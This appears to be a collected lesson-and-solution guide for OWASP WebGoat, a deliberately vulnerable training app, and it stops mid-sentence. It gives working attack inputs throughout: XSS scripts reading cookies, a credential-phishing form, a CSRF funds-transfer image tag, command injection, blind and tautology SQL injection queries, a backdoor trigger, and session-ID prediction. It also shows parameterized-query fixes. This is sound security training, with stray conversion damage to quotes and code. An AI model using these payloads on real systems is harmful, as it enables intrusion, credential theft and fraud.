Security Testing

• Code Quality
• Concurrency
• Invalidated Parameters
• Access Control Flaws
• Authentication Flaws
• Session Management Flaws
• Cross-Site Scripting (XSS)
• Buffer Overflows
• Injection Flaws
• Improper Error Handling
• Insecure Storage
• Denial of Service
• Insecure Configuration
• Web Services
• AJAX Security
Challenge
Concurrency
Lesson Plan Title: How to Exploit Thread Safety Problems
Concept / Topic To Teach:
Web applications can handle many HTTP requests simultaneously. Developers often use variables
that are not thread safe. Thread safety means that the fields of an object or class always maintain
a valid state when used concurrently by multiple threads. It is often possible to exploit a
concurrency bug by loading the same page as another user at the exact same time. Because all
threads share the same method area, and the method area is where all class variables are stored,
multiple threads can attempt to use the same class variables concurrently.
General Goal(s):
The user should be able to exploit the concurrency error in the web application and view login
information for another user that is attempting the same function at the same time. This will
require the use of two browsers.
Lesson Plan Title: Shopping Cart Concurrency Flaw

Web applications can handle many HTTP requests simultaneously. Developers often use variables
that are not thread safe. Thread safety means that the fields of an object or class always maintain
a valid state when used concurrently by multiple threads. It is often possible to exploit a
concurrency bug by loading the same page as another user at the exact same time. Because all
threads share the same method area, and the method area is where all class variables are stored,
multiple threads can attempt to use the same class variables concurrently.
General Goal(s):
For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase
merchandise for a lower price.
Unvalidated Parameters
Lesson Plan Title: How to Exploit Hidden Fields
Developers will use hidden fields for tracking, login, pricing, etc.. information on a loaded page.
While this is a convenient and easy mechanism for the developer, they often don't validate the
information that is received from the hidden field. This lesson will teach the attacker to find and
modify hidden fields to obtain a product for a price other than the price specified
General Goal(s):
The user should be able to exploit a hidden field to obtain a product at an incorrect price.
How to Exploit Unchecked Email
It is always a good practice to validate all inputs. Most sites allow non-authenticated users to send
email to a 'friend'. This is a great mechanism for spammers to send out email using your corporate
mail server.
General Goal(s):
The user should be able to send and obnoxious email message.
Plan Title: How to Bypass Client Side JavaScript Validation
Client-side validation should not be considered a secure means of validating parameters. These
validations only help reduce the amount of server processing time for normal users who do not
know the format of required input. Attackers can bypass these mechanisms easily in various ways.
Any client-side validation should be duplicated on the server side. This will greatly reduce the
likelihood of insecure parameter values being used in the application.
General Goal(s):
For this exercise, the web site requires that you follow certain rules when you fill out a form. The
user should be able to break those rules, and send the website input that it wasn't expecting.
Access Control Flaws
Using an Access Control Matrix
In a role-based access control scheme, a role represents a set of access permissions and privileges.
A user can be assigned one or more roles. A role-based access control scheme normally consists of
two parts: role permission management and role assignment. A broken role-based access control
scheme might allow a user to perform accesses that are not allowed by his/her assigned roles, or
somehow allow privilege escalation to an unauthorized role.
General Goal(s):
Each user is a member of a role that is allowed to access only certain resources. Your goal is to
explore the access control rules that govern this site. Only the [Admin] group should have access
to the 'Account Manager' resource.
How to Bypass a Path Based Access Control Scheme
In a path based access control scheme, an attacker can traverse a path by providing relative path
information. Therefore an attacker can use relative paths to access files that normally are not
directly accessible by anyone, or would otherwise be denied if requested directly.
General Goal(s):
The user should be able to access a file that is not in the listed directory.
Role Based Access Control
In role-based access control scheme, a role represents a set of access permissions and privileges.
A user can be assigned one or more roles. A role-based access control normally consists of two
parts: role permission management and role assignment. A broken role-based access control
scheme might allow a user to perform accesses that are not allowed by his/her assigned roles, or
somehow obtain unauthorized roles.
General Goal(s):
Your goal is to explore the access control rules that govern this site. Each role has permission to
certain resources (A-F). Each user is assigned one or more roles. Only the user with the [Admin]
role should have access to the 'F' resources. In a successful attack, a user doesn't have the
[Admin] role can access resource
Stage 1: Bypass Business Layer Access Control
Stage 2: Add Business Layer Access Control
Stage 3: Bypass Data Layer Access Control
Stage 4: Add Data Layer Access Control
How to Force Browser Web Resources
Applications will often have an administrative interface that allows privileged users access to
functionality that normal users shouldn't see. The application server will often have an admin
interface as well.
Standards Addressed :
General Goal(s): Try to access the administrative interface for WebGoat. You may also try to
access the administrative interface for Tomcat. The Tomcat admin interface can be accessed via a
URL (/admin) and will not count towards the completion of this lesson.
How to Exploit the Forgot Password Page
Web applications frequently provide their users the ability to retrieve a forgotten password.
Unfortunately, many web applications fail to implement the mechanism properly. The information
required to verify the identity of the user is often overly simplistic.
General Goal(s):
Users can retrieve their password if they can answer the secret question properly. There is no lock-
out mechanism on this 'Forgot Password' page. Your username is 'webgoat' and your favorite color
is 'red'. The goal is to retrieve the password of another use
Basic Authentication
Basic Authentication is used to protect server side resources. The web server will send a 401
authentication request with the response for the requested resource. The client side browser will
then prompt the user for a user name and password using a browser supplied dialog box. The
browser will base64 encode the user name and password and send those credentials back to the
web server. The web server will then validate the credentials and return the requested resource if
the credentials are correct. These credentials are automatically resent for each page protected
with this mechanism without requiring the user to enter their credentials again.
General Goal(s):
For this lesson, your goal is to understand Basic Authentication and answer the questions below.
Session Management Flaws
How to Spoof an Authentication Cookie
Many applications will automatically log a user into their site if the right authentication cookie is
specified. Some times the cookie values can be guessed if the algorithm for generating the cookie
can be obtained. Some times the cookies are left on the client machine and can be stolen by
exploiting another system vulnerability. Some times the cookies maybe intercepted using Cross
site scripting. This lesson tries to make the student aware of authentication cookies and presents
the student with a way to defeat the cookie authentication method in this lesson.
General Goal(s):
The user should be able to bypass the authentication check
How to Hijack a Session
Application developers who develop their own session IDs frequently forget to incorporate the
complexity and randomness necessary for security. If the user specific session ID is not complex
and random, then the application is highly susceptible to session-based brute force attacks.
General Goal(s):
Try to access an authenticated session belonging to someone else.
Cross-Site Scripting (XSS)
Phishing with XSS
• LAB: Cross Site Scripting
a) Stage 1: Stored XSS
b) Stage 2: Block Stored XSS using Input Validation
c) Stage 3: Stored XSS Revisited
d) Stage 4: Block Stored XSS using Output Encoding

e) Stage 5: Reflected XSS
f) Stage 6: Block Reflected XSS
• Stored XSS Attacks
• Reflected XSS Attacks
• Cross Site Request Forgery (CSRF)
• HTTPOnly Test
• Cross Site Tracing (XST) Attacks
Phishing with XSS
password<form><br><br><HR><H3>This feature requires account

login:</H2><br><br>Enter Username:<br><input type="text" id="user"
name="user"><br>Enter Password:<br><input type="password" name =
"pass"><br><input type="submit" name="login" value="login"
onclick="hack()"></form><br><br><HR>
This lesson is an example of how a website might support a phishing attack
Below is an example of a standard search feature.
Using XSS and HTML insertion, your goal is to:
Insert html to that requests credentials
Add javascript to actually collect the credentials
Post the credentials to http://localhost./WebGoat/catcher?PROPERTY=yes...
To pass this lesson, the credentials must be posted to the catcher servlet.
How to Perform Cross Site Scripting (XSS)
It is always a good practice to scrub all inputs, especially those inputs that will later be
used as parameters to OS commands, scripts, and database queries. It is particularly
important for content that will be permanently stored somewhere. Users should not be able
to create message content that could cause another user to load an undesirable page or
undesirable content when the user's message is retrieved.
XSS can also occur when unvalidated user input is used in an HTTP response. In a reflected
XSS attack, an attacker can craft a URL with the attack script and post it to another
website, email it, or otherwise get a victim to click on it.
General Goal(s):
For this exercise, you will perform stored and reflected XSS attacks. You will also
implement code changes in the web application to defeat these attack
Enter this: <script language="javascript" type="text/javascript">alert("Ha Ha

Ha");</script> in message fields.
Enter this: <script&gtalert("document.cookie");</script> in message fields
Validate early. Consider: out.println("Order for " + request.getParameter("product") + "

being processed...");
Validate early. Consider: out.println("Order for " + request.getParameter("product") + "

being processed...");
How to Perform Stored Cross Site Scripting (XSS)
It is always a good practice to scrub all input, especially those inputs that will later be used
as parameters to OS commands, scripts, and database queries. It is particularly important
for content that will be permanently stored somewhere in the application. Users should not
be able to create message content that could cause another user to load an undesirable
page or undesirable content when the user's message is retrieved.
General Goal(s):
The user should be able to add message content that cause another user to load an
undesireable page or content.
<script language=?javascript? type=?text/javascript?>alert(?Ha Ha Ha?);</script>
How to Perform Reflected Cross Site Scripting (XSS)
It is always a good practice to validate all input on the server side. XSS can occur when
unvalidated user input is used in an HTTP response. In a reflected XSS attack, an attacker
can craft a URL with the attack script and post it to another website, email it, or otherwise
get a victim to click on it.
General Goal(s):
For this exercise, your mission is to come up with some input containing a script. You have
to try to get this page to reflect that input back to your browser, which will execute the
script and do something bad.
A simple script is <SCRIPT>alert('bang!');</SCRIPT>.
You can use <SCRIPT>alert(document.cookie);</SCRIPT> to access the session id cookie
Try a cross site trace (XST) Command:
<script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false);
xmlHttp.send();str1=xmlHttp.responseText; while (str1.indexOf("\n") > -1) str1 =
str1.replace("\n","<br>"); document.write(str1);}</script>
How to Perform Cross Site Request Forgery.
This lesson teaches how to perform Cross Site Request Forgery (CSRF) attacks.
How the attacks works:
Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into loading a
page that contains img links like the one below:
<img src="http://www.mybank.com/sendFunds.do?acctId=123456"/>
When the victim's browser attempts to render this page, it will issue a request to
www.mybank.com to the transferFunds.do page with the specified parameters. The
browser will think the link is to get an image, even though it actually is a funds transfer
function. The request will include any cookies associated with the site. Therefore, if the
user has authenticated to the site, and has either a permanent cookie or even a current
session cookie, the site will have no way to distinguish this from a legitimate user request.
In this way, the attacker can make the victim perform actions that they didn't intend to,
such as logout, purchase item, or any other function provided by the vulnerable website
General Goal(s):
Your goal is to send an email to a newsgroup that contains an image whose URL is pointing
to a malicious request. Try to include a 1x1 pixel image that includes a URL. The URL
should point to the CSRF lesson with an extra parameter "transferFunds=4000". You can
copy the shortcut from the left hand menu by right clicking on the left hand menu and
choosing copy shortcut. Whoever receives this email and happens to be authenticated at
that time will have his funds transferred. When you think the attack is successful, refresh
the
<img src=?http://localhost/WebGoat/attack?Screen=81&menu=210&transferFunds=5000?
width="1" height="1" />
HttpOnly Test
To help mitigate the cross site scripting threat, Microsoft has introduced a new cookie
attribute entitled 'HttpOnly.' If this flag is set, then the browser should not allow client-side
script to access the cookie. Since the attribute is relatively new, several browsers neglect
to handle the new attribute properly.
General Goal(s):
The purpose of this lesson is to test whether your browser supports the HTTPOnly cookie
flag. Note the value of the unique2u cookie. If your browser supports HTTPOnly, and you
enable it for a cookie, client side code should NOT be able to read OR write to that cookie,
but the browser can still send its value to the server. Some browsers only prevent client
side read access, but don't prevent write access.
With the HTTPOnly attribute turned on, type "javascript:alert(document.cookie)" in the

browser address bar. Notice all cookies are displayed except the unique2u cookie.
How to Perform Cross Site Tracing (XST) Attacks
It is always a good practice to scrub all input, especially those inputs that will later be used
as parameters to OS commands, scripts, and database queries. It is particularly important
for content that will be permanently stored somewhere in the application. Users should not
be able to create message content that could cause another user to load an undesireable
page or undesireable content when the user's message is retrieved.
General Goal(s):
Tomcat is configured to support the HTTP TRACE command. Your goal is to perform a Cross
Site Tracing (XST) attack.
JavaScript has the ability to post a URL:

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("GET", "./", false);
xmlHttp.send();str1=xmlHttp.responseText; document.write(str1);</script>
Try a cross site trace (XST) Command:

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false);
xmlHttp.send();str1=xmlHttp.responseText; while (str1.indexOf("\n") > -1) str1 =
str1.replace("\n","<br>"); document.write(str1);}</script>
Denial of Service from Multiple Logins
Denial of service attacks are a major issue in web applications. If the end user cannot conduct
business or perform the service offered by the web application, then both time and money is
wasted.
General Goal(s):
This site allows a user to login multiple times. This site has a database connection pool
that allows 2 connections. You must obtain a list of valid users and create a total of 3
logins.
Improper Error Handling
How to Bypass Fail Open Authentication
This lesson presents the basics for understanding the "fail open" condition regarding
authentication. The security term, “fail open” describes a behavior of a verification mechanism.
This is when an error (i.e. unexpected exception) occurs during a verification method causing that
method to evaluate to true. This is especially dangerous during login.
General Goal(s):
The user should be able to bypass the authentication check.
Injection Flaws
• Command Injection
• Blind SQL Injection
• Numeric SQL Injection
• Log Spoofing
• XPATH Injection
• String SQL Injection
LAB: SQL Injection
Stage 1: String SQL Injection
Stage 2: Parameterized Query #1
Stage 3: Numeric SQL Injection
Stage 4: Parameterized Query #2
• Database Backdoors
How to Perform Command Injection
Command injection attacks represent a serious threat to any parameter-driven site. The
methods behind an attack are easy to learn and the damage caused can range from
considerable to complete system compromise. Despite these risks an incredible number of
systems on the internet are susceptible to this form of attack.
Not only is it a threat easily instigated, it is also a threat that, with a little common-sense
and forethought, can be almost totally prevented. This lesson will show the student several
examples of parameter injection.
It is always good practice to sanitize all input data, especially data that will used in OS
command, scripts, and database queries.
General Goal(s):
The user should be able to execute any command on the hosting OS.
Select a lesson from the drop-down box and click on ?View?.

Intercept the request with WebScarab when you click on ?View?. Append ? & netstat ?an &
ipconfig to the HelpFile parameter. Do not forget the double quote!
Figure 2 Injecting command netstat & ipconfig
The result contains the output of the command netstat and ipconfig.
How to Perform Blind SQL Injection
SQL injection attacks represent a serious threat to any database-driven site. The methods behind
an attack are easy to learn and the damage caused can range from considerable to complete
system compromise. Despite these risks an incredible number of systems on the internet are
susceptible to this form of attack.
Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and
forethought, can be almost totally prevented. This lesson will show the student several examples
of SQL injection.
It is always good practice to sanitize all input data, especially data that will used in OS command,
scripts, and database queries.
General Goal(s):
The form below allows a user to enter an account number and determine if it is valid or not. Use
this form to develop a true / false test check other entries in the database.
Reference Ascii Values: 'A' = 65 'Z' = 90 'a' = 97 'z' = 122
The goal is to find the value of the first_name in table user_data for userid 15613. Put that name
in the form to pass the lesson.
==========
General Goal(s):
The user should be able to view all records in the specified table. The user could add new records or modify
existing records.
From the hints 

Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. Create a
SQL statement that you can use as a true/false test and then select the first character of the target element and
do a start narrowing down the character using > and <
The backend database is HSQLDB. Keep that in mind if you research SQL functions on the Internet since
different databases use some different functions and syntax.
This is the code for the query being built and issued by WebGoat:
"SELECT * FROM user_data WHERE userid = " + accountNumber
The application is taking your input and inserting it at the end of a pre-formed SQL command. You will need to
make use of the following SQL functions:
SELECT - query for your target data and get a string
substr(string, start, length) - returns a substring of string starting at the start character and going for length
characters
ascii(string) will return the ascii value of the first character in string
> and < - once you have a character's value, compare it to a choosen one
Example: is the first character of the first_name of userid 15613 less than 'M' (ascii 77)?
101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 1 , 1) ) < 77 );
If you get back that account number is valid, then yes. If get back that the number is invalid then answer is no.
Another example: is the second character of the first_name of userid 15613 greater than 'm' (ascii 109)?
101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 2 , 1) ) > 109 );
If you get back that account number is valid, then yes. If get back that the number is invalid then answer is no.
Figure 1 Lesson 16
For the query: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 1 , 1) ) <
77 ); you will get a "Account number is valid". If the character is bigger then the value you get an invalid account
error message.
Figure 2 Invalid account number
You can change the < to = to make sure that you have the correct value.
This results in the query 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) ,
1 , 1) ) = 74 );
Figure 3 First character
So you know that ascii(74) is capital J. Now do the same for the second and all other characters.
The query for the second character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE
userid=15613) , 2 , 1) ) = 111 );
Ascii(111) = o, so you have now Jo.
For the third character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 3
, 1) ) = 101 ); Ascii(101) = e
For the fourth character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) ,
4 , 1) ) = 115 ); Ascii(115) = s
For the fifth character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) ,
5 , 1) ) = 112); Ascii(112) = p
For the sixth character: 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 6
, 1) ) = 104); Ascii(104) = h
So the name that you found is Joesph. Enter this in the text field to complete this lesson.
Figure 4 Enter the name Joesph
Figure 5 Lesson 16 Completed
How to Perform Numeric SQL Injection

SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are
easy to learn and the damage caused can range from considerable to complete system compromise. Despite
these risks, an incredible number of systems on the internet are susceptible to this form of attack. Not only is it a
threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be
prevented. It is always good practice to sanitize all input data, especially data that will used in OS command,
scripts, and database queiries, even if the threat of SQL injection has been prevented in some other manner.
General Goal(s):
The form below allows a user to view weather data. Try to inject an SQL string that results in all the weather data
being displayed.
Solution:
The application is taking the input from the select box and inserts it at the end of a pre-formed SQL command.
Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. Try
appending a SQL statement that always resolves to true.
This is the query: SELECT * FROM weather_data WHERE station = 101
Intercept the post request with WebScarab and replace 101 with 101 or 1=1!
Figure 1 Intercepted Request with WebScarab
As the SQL Statement is true for every station you get a list of all stations:
Figure 2 All stations are visible
Lesson Plan Title: How to Perform Log Spoofing.

This lesson teaches attempts to fool the human eye.
How the attacks works: The attack is based on fooling the human eye in log files. An attacker can erase his
traces from the logs using this attack.
General Goal(s):
The grey area below represents what is going to be logged in the web server's log file.
Your goal is to make it like a username "admin" has succeeded into logging in.
Elevate your attack by adding a script to the log file.
Figure 1 Log Spoofing
Solution:
This lesson accepts any input for a username and appends the information to the log file.
Enter for username the text: smith Login Succeeded for username admin
Figure 2 Log spoof with long text

The text is added to the same line, not a new line. But any input is allowed.
In this way you can inject carriage return (%0d) and line feed (%0a) to the application.
Fill out the following text for the username: Smith%0d%0aLogin Succeeded for username: admin
Figure 3 Lesson completed
An attacker can use this attack to add malicious JavaScript to the log file, which will be viewed by the
administrator using a browser. What happens when you inject admin <script>alert(document.cookie)</script> for
the username?
How to Perform XPATH Injection Attacks.

This lesson teaches how to perform XPath Injection attacks.

Similar to SQL Injection, XPATH Injection attacks occur when a web site uses user supplied information to query
XML data. By sending intentionally malformed information into the web site, an attacker can find out how the
XML data is structured or access data that they may not normally have access to. They may even be able to
elevate their privileges on the web site if the xml data is being used for authentication (such as an xml based user
file). Querying XML is done with XPath, a type of simple descriptive statement that allows the xml query to locate
a piece of information. Like SQL you can specify certain attributes to find and patterns to match. When using
XML for a web site it is common to accept some form of input on the query string to identify the content to locate
and display on the page. This input must be sanitized to verify that it doesn't mess up the XPath query and return
the wrong data.
General Goal(s):
The form below allows employees to see all their personal data including their salaries. Your account is
Mike/test123. Your goal is to try to see other employees data as well.
Figure 1 XPath Injection
XPath injection is similar to SQL Injection. Input is not validated and used to create a XPath query. Here you can
see how the XPATH query is built:
String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml");

File d = new File(dir);
XPathFactory factory = XPathFactory.newInstance();
XPath xPath = factory.newXPath();
InputSource inputSource = new InputSource(new FileInputStream(d));
String expression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" + password +
"']";
nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);
Figure 2 Inject XPath payload
Injecting Smith' or 1=1 or 'a'='a will log you on as the first user defined in the system. Password is a required field,
so there you can enter whatever you want.
This is what the server gets:

expression = "/employees/employee[loginID/text()='Smith' or 1=1 or 'a'='a' and passwd/text()='password']"
And this is how the server interprets it:

expression = "/employees/employee[ ( loginID/text()='Smith' or 1=1 ) OR ( 'a'='a' and passwd/text()='password'
) ]"

\ How to Perform a SQLInjection

SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn
and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible
number of systems on the internet are susceptible to this form of attack.
Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be
prevented.
It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database
queiries, even if the threat of SQL injection has been prevented in some other manner.
General Goal(s):
For this exercise, you will perform SQLInjection attacks. You will also implement code changes in the web application to
defeat these attacks.
Solution:
Select Neville as user to log in. Make sure WebScarab will intercept the next request. Hit the Login Button and Change the
password parameter in WebScarab to smith' OR '1' = '1. Et voila you are logged in as Neville without knowing the password
as the query will lookup if the password is smith and if not it controls if 1=1 what return true.
How to Perform a SQLInjection

prevented.
General Goal(s):
Solution:
To prevent a SQLInjection you can use "Parametreized Queries". This kind of query makes it possible to use every input of
an user as a parameter. In this lesson you have to change org.owasp.webgoat.lessons.SQLInjection.Login.java The query
execution in the method login looks like this:
String query = "SELECT * FROM employee WHERE userid = " + userId + " and password =
'" + password + "'";
// System.out.println("Query:" + query);
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
etc...
To paramerize the Query you have to replace the userinput with questionmarks:
String query = "SELECT * FROM employee WHERE userid = ? and password = ?";
Now follows the try block with the getConnection method:

try
{
Connection connection = WebSession.getConnections(s);
The next step is to do a so called "PrepareStatement":
PreparedStatement statement = connection.prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
Now that the query is prepared we have to add the parameters to the query:
statement.setString(1, userId);
statement.setString(2, password);
We are ready to execute the query!

ResultSet answer_results = statement.executeQuery();
Putting everything together results in:
String query = "SELECT * FROM employee WHERE userid = ? and password = ?";
try
{
statement.setString(2, password);
etc...

prevented.
General Goal(s):
Solution:
Choose Larry to log in with password larry. Select yourself from the list and make sure that WebScarab will intercept the
next request. Replace the id 101 with following:
101 OR 1=1 ORDER BY salary desc
With '101 OR 1=1' we have a SQL Statement which is always true. It will get all the employees from the db but only return
one of them. That is why we have to ensure we get the "Big Fish" which is the employee earning most. With 'ORDER BY
SALARY DESC' we guarantee exactly this.

prevented.
General Goal(s):
Solution:
The solution is simular to Stage2. That is why here is only a short solution.
You have to alter the class org.owasp.webgoat.lessons.SQLInjection.ViewProfile.java
Alter the method getEmployeeProfile to something like this:
String query = "SELECT employee.* "

+ "FROM employee,ownership WHERE employee.userid = ownership.employee_id and "
+ "ownership.employer_id = ? and ownership.employee_id = ?";
try
{
statement.setString(2, subjectUserId);
How to Perform String SQL Injection

SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are
easy to learn and the damage caused can range from considerable to complete system compromise. Despite
these risks, an incredible number of systems on the internet are susceptible to this form of attack.
Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can
easily be prevented.
It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and
database queiries, even if the threat of SQL injection has been prevented in some other manner.
General Goal(s):
The form below allows a user to view their credit card numbers. Try to inject an SQL string that results in all the
credit card numbers being displayed. Try the user name of 'Smith'.
Solution:
Compared with the previous lesson, there is now a string parameter and not an integer.
Strings must be terminated with single quotes to have a valid SQL Query.
Figure 1 Lesson 18
The query used in this lesson is: SELECT * FROM user_data WHERE last_name = 'Your Name'
Enter for the last name value: Erwin' OR '1'='1
Lesson Plan Title: How to Create Database Back Door Attacks.

How to Create Database Back Door Attacks.
Databases are used usually as a backend for web applications. Also it is used as a media of storage. It can also
be used as a place to store a malicious activity such as a trigger. A trigger is called by the database management
system upon the execution of another database operation like insert, select, update or delete. An attacker for
example can create a trigger that would set his email address instead of every new user's email address.
General Goal(s):
Your goal should be to learn how you can exploit a vulnerable query to create a trigger.
You will not be able to actually create one in this lesson because the underlying database engine used with
WebGoat doesn't support triggers.
Your login ID is 101.
Figure 1 Database backdoor
Solution:
Enter your user ID 101 to see how the application works.
Figure 2 User ID is 101
As you probably noticed, the input is not validated so very easy to do SQL Injection. To have two SQL queries
executed, you need to separate them using a sem-colon. For example select * from employees; drop table
employees will first select all the users from employees and then drop the table employees. Not all databases
support multiple SQL statements.
Here you need to update the salary of the employees. This requires an update query like update employees set
salary=10000.
Inject this for the user ID: 101; update employee set salary=10000
Figure 3 Update query

Figure 4 Stage 1 completed
To create a database trigger, you need to inject the following SQL: CREATE TRIGGER myBackDoor BEFORE
INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='[email protected]'WHERE
userid = NEW.userid
Figure 5 Insert trigger

Insecure Communication
Lesson Plan Title:Insecure Login

Sensitive data should never sent in plaintext! Often applications switch to a secure connection after the authorization. An
attacker could just sniff the login and use the gathered information to break into an account. A good webapplication always
takes care of encrypting sensitive data.
General Goal(s):
See how easy it is to sniff a password in plaintext.
Understand the advantages of encrypting the login data!
Solution:
This lesson has two stages. In the first stage you try to sniff a password which is sent in plaintext. In the second stage you try
the same but on a secure connection.
You need a client server setup for this lesson. Please refer to the Tomcat Setup in the Introduction section.
Stage 1
Start a sniffer. If you do not have one we recommend wireshark, which is free: Wireshark. Make sure you are capturing on
the right interface. Click on the submit button ans stop the capturing. Now analyze the captured data.
Figure 1: Sniffed Traffic
As you can see we are interested in the HTTP Post request as the password is transmitted there. The field for the password
has the name clear_pass and has as value sniffy. Of course this is also the correct answer and you are done with stage 1.
Stage 2
Now you have to switch to a secure connection. You archive this by changing the URL from http://... to https://... Sniff again
the traffic as you have done in stage 1. As you will see there is not sent the password in plaintext. The server communicates
with the application over a secure layer the so called Transport Layer Security (TLS) also called Secure Socket Layer (SSL).
TLS is a hybrid encrypting protocol. A master secret is built to communicate. This master secret is built by using SHA-1 and
MD5. All traffic between the Server and the Cleint is encrypted.
Insecure Configuration
How to Perform Forced Browsing Attacks.

How to Exploit Forced Browsing.

Forced browsing is a technique used by attackers to gain access to resources that are not referenced, but are
nevertheless accessible. One technique is to manipulate the URL in the browser by deleting sections from the
end until an unprotected directory is found
General Goal(s):
Your goal should be to try to guess the URL for the "config" interface.
The "config" URL is only available to the maintenance personnel.
The application doesn't check for horizontal privileges.
Figure 1 Insecure configuration management ? Forced Browsing
Solution:
If you want to access a restricted page, you need to be able to guess the URI to access the page, for example
/admin.
In this environment, WebGoat consists of different servlets that live in the WebGoat application. The main servlet
is /attack, what could be the servlet for config?
Try to access /WebGoat/config, /WebGoat/configuration, /WebGoat/conf, ?.

Figure 2 No /WebGoat/config
Figure 3 No /WebGoat/configuration
Figure 4 Bingo for /WebGoat/conf
This could be automated with a tool like Wikto 2.
Parameter Tampering
Lesson Plan Title: How to Exploit Hidden Fields

Developers will use hidden fields for tracking, login, pricing, etc.. information on a loaded page. While this is a
convenient and easy mechanism for the developer, they often don't validate the information that is received from
the hidden field. This lesson will teach the attacker to find and modify hidden fields to obtain a product for a price
other than the price specified
General Goal(s):
The user should be able to exploit a hidden field to obtain a product at an incorrect price.
Figure 1 Lesson 4
Solution:
To change the hidden field you need to start your favorite HTTP Interceptor. You can use WebScarab from
OWASP to intercept the request and change the hidden field. Configure your browser to use a local proxy. In
Internet Explorer you can do this via "Tools" ? "Internet Options" ? "Connections" ? "LAN Settings". You must
define proxy "localhost" with port 8008.
Figure 2 Set local proxy in Internet Explorer
Start WebScarab
Figure 3 Intercept request with WebScarab
Figure 4 Change the Price variable to 1

Lesson Plan Title: How to Exploit Unchecked Email

It is always a good practice to validate all inputs. Most sites allow non-authenticated users to send e-mail to a
'friend'. This is a great mechanism for spammers to send out email using your corporate mail server.
General Goal(s):
The user should be able to send an obnoxious email message.
Solution:
Type a malicious script like <script>alert("XSS")</script> and click Send!
Figure 1 Lesson 5
Figure 2 Part 1 completed
The second part of this lesson is to send a mail to a friend from OWASP. This can be accomplished by
intercepting the request with WebScarab and changing the hidden field "to" from [email protected] to
[email protected]
Figure 3 Change the variable to another e-mail address
Lesson Plan Title: How to Bypass Client Side JavaScript Validation

Client-side validation should not be considered a secure means of validating parameters. This validation only
helps reducing the amount of server processing time for normal users who do not know the format of required
input. Attackers can bypass these mechanisms easily in various ways. Any client-side validation should be
duplicated on the server side. This will greatly reduce the likelihood of insecure parameter values being used in
the application.
General Goal(s):
For this exercise, the web site requires that you follow certain rules when you fill out a form. The user should be
able to break those rules, and send the website input that it wasn't expecting.
Figure 1 Lesson 6
There are two ways to complete this lesson. The first one is to submit a valid request like the one from the
screenshot above and intercept this using WebScarab. The second way is to intercept the HTTP Response when
loading the page and remove the Javascript that validates the values.
Solution 1
Figure 2 Intercept request

Add different symbols to the fields and click "Accept changes".
Figure 3 Change parameters
Solution 2
Reload the page by clicking on the menu item "How to bypass Client-Side Javascript Validation" and intercept
the response in WebScarab.
Figure 5 Enable "Intercept responses"
Figure 6 Intercepted response
If you remove the onclick="validate();" the "Submit" button will not work anymore.
Locate the validate() Javascript function in the HTML page.
Figure 7 The function validate()
Removing the regular expressions will remove the Javascript validation and submit the form.
Figure 8 Changed validate() function
Click "Accept changes". This returns a HTML page like before but without any regular expression checks.
Figure 9 It looks the same
Change the fields in the HTML page to contain symbols like @#@@# and click "Submit".
Figure 10 No more regular expression checks

Session management
Lesson Plan Title: How to Hijack a Session

Application developers who develop their own session IDs frequently forget to incorporate the complexity and
randomness necessary for security. If the user specific session ID is not complex and random, then the
application is highly susceptible to session-based brute force attacks.
General Goal(s):
Try to access an authenticated session belonging to someone else.
In this lesson the purpose is to predict the WEAKID value. The WEAKID is used to differentiate authenticated
and anonymous users of WebGoat.
Solution:
The easiest way to complete this lesson is to use WebScarab's Session ID Analysis.
Go to WebScarab and click on the button "SessionID Analysis". Select the last POST request from the "Previous
requests" drop-down box.
Figure 1 WebScarabs SessionID Analysis
To make sure that WebScarab is able to fetch the WEAKID cookie, you need to click the "Test" button on the
bottom of the screen. A pop-up window must be shown like below.
Figure 2 SessionID WEAKID discovered
If you don?t have a pop-up window with the Extracted Sessionids, you must edit the Request. You must delete
the WEAKID value from the request. Without this cookie value, WebGoat will return a HTTP Header "Set-Cookie:
WEAKID=value" so WebScarab learns about this value.
Fetch 50 samples and examine the results. Enter "50" in the "Samples" window and click the button "Fetch". You
will not see any information about progress.
Now you need to go to the tab "Analysis".
In the "Analysis" pane you see nothing.
You must select the Session Identifier WEAKID value from the drop-down box.
The WEAKID is divided in 2 parts: the first part is an identifier that is added 1 in every cookie and a time value.
The time value is calculated at the moment that you submit the request.
Notice that there is sometimes a gap in the first value of the WEAKID, skipping with 1. The value that is missing
is the value that you need to know to log on. Now you only need to calculate the timestamp. This can be brute-
